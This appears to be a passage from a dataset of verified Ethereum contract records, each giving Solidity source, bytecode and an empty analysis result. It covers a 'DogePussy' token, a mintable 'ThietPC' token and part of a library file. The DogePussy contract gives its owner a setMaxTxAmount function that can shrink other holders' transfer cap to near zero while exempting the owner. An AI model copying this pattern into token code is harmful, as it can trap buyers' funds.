function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DogePussy is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 0;
string private _name = 'DogePussy';
string private _symbol = 'dPUSSY';
uint8 private _decimals = 18;
uint256 public maxTxAmount = 1000000000000000e18;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
_mint(_msgSender(), 1000000000000000e18);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(sender != owner() && recipient != owner())
require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function setMaxTxAmount(uint256 _maxTxAmount) external onlyOwner() {
require(_maxTxAmount >= 10000e9 , 'maxTxAmount should be greater than 10000e9');
maxTxAmount = _maxTxAmount;
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638c0b5e2211610097578063a9059cbb11610066578063a9059cbb146104ae578063dd62ed3e14610512578063ec28438a1461058a578063f2fde38b146105b857610100565b80638c0b5e22146103755780638da5cb5b1461039357806395d89b41146103c7578063a457c2d71461044a57610100565b8063313ce567116100d3578063313ce5671461028e57806339509351146102af57806370a0823114610313578063715018a61461036b57610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105fc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069e565b60405180821515815260200191505060405180910390f35b6101f46106bc565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c6565b60405180821515815260200191505060405180910390f35b61029661079f565b604051808260ff16815260200191505060405180910390f35b6102fb600480360360408110156102c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107b6565b60405180821515815260200191505060405180910390f35b6103556004803603602081101561032957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610869565b6040518082815260200191505060405180910390f35b6103736108b2565b005b61037d610a38565b6040518082815260200191505060405180910390f35b61039b610a3e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103cf610a67565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561040f5780820151818401526020810190506103f4565b50505050905090810190601f16801561043c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b09565b60405180821515815260200191505060405180910390f35b6104fa600480360360408110156104c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd6565b60405180821515815260200191505060405180910390f35b6105746004803603604081101561052857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf4565b6040518082815260200191505060405180910390f35b6105b6600480360360208110156105a057600080fd5b8101908080359060200190929190505050610c7b565b005b6105fa600480360360208110156105ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dac565b005b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106945780601f1061066957610100808354040283529160200191610694565b820191906000526020600020905b81548152906001019060200180831161067757829003601f168201915b5050505050905090565b60006106b26106ab61103f565b8484611047565b6001905092915050565b6000600354905090565b60006106d384848461123e565b610794846106df61103f565b61078f8560405180606001604052806028815260200161178360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061074561103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061085f6107c361103f565b8461085a85600260006107d461103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b611047565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108ba61103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aff5780601f10610ad457610100808354040283529160200191610aff565b820191906000526020600020905b815481529060010190602001808311610ae257829003601f168201915b5050505050905090565b6000610bcc610b1661103f565b84610bc7856040518060600160405280602581526020016117f46025913960026000610b4061103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b6001905092915050565b6000610bea610be361103f565b848461123e565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c8361103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6509184e72a000811015610da2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611731602a913960400191505060405180910390fd5b8060078190555050565b610db461103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e74576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610efa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116c36026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117d06024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611153576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116e96022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117ab6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116a06023913960400191505060405180910390fd5b611352610a3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113c05750611390610a3e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561142157600754811115611420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061175b6028913960400191505060405180910390fd5b5b61142c83838361169a565b6114988160405180606001604052806026815260200161170b60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611687576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561164c578082015181840152602081019050611631565b50505050905090810190601f1680156116795780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63656d61785478416d6f756e742073686f756c642062652067726561746572207468616e20313030303065395472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d1f5aaa3029ad7c2ba6989579ead24eb69d84fb38f1802791c645f263ef9e20964736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 4,286 |
0x6bffccfb5d3e7732aa57d7a7d017dcc156c53992
|
/**
*Submitted for verification at Etherscan.io on 2021-02-07
*/
pragma solidity 0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Base contract for ThietPC token
*/
contract ThietPC is MintableToken {
string public name = "Gem Coin My Aladdinz";
string public symbol = "Gem";
uint public decimals = 10;
constructor() public {
totalSupply_ = 999999999999 * (10 ** decimals);
balances[msg.sender] = totalSupply_;
}
}
|
0x736bffccfb5d3e7732aa57d7a7d017dcc156c5399230146080604052600080fd00a165627a7a72305820422fbd57c87a7d667d2de4fa03d2c81b529514294cfb4cb52b29f139d7a6b3ee0029
|
{"success": true, "error": null, "results": {}}
| 4,287 |
0xA3b79234A2A962Dc51234B7D900177017049DFD6
|
pragma solidity 0.6.11;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
